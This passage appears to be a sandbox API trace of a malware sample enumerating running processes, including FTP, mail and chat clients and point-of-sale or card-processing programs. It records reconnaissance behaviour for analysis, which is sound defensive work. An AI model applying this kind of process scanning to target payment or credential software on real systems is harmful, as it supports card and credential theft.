szExeFile="ncftp.exe")) returned 1 [0271.198] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0271.200] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0271.202] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0271.204] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0271.206] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0271.208] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0271.211] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0271.213] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0271.215] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0271.247] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0271.249] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0271.252] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0271.254] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0271.256] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0271.257] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0271.259] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0271.261] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0271.263] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0271.266] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0271.268] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0271.270] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0271.272] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0271.274] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0271.276] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0271.278] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0271.280] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0271.283] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0271.285] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0271.287] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0271.290] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0271.292] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0271.294] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.296] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0271.297] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.299] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0271.301] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0271.303] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0271.304] CloseHandle (hObject=0x21cc) returned 1 [0271.305] Sleep (dwMilliseconds=0x64) [0271.311] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0271.324] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.326] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.328] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.357] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.360] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.362] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.363] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.365] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.367] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.369] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.371] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.372] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.374] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.376] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.378] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.380] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.383] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.384] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.426] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.429] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.431] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.433] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.435] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.438] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.441] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.443] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0271.446] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.448] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.450] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.453] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.456] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.458] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.460] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0271.462] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.465] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.467] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.470] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.473] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.475] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.478] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0271.480] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0271.482] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0271.484] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0271.488] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0271.491] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0271.493] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 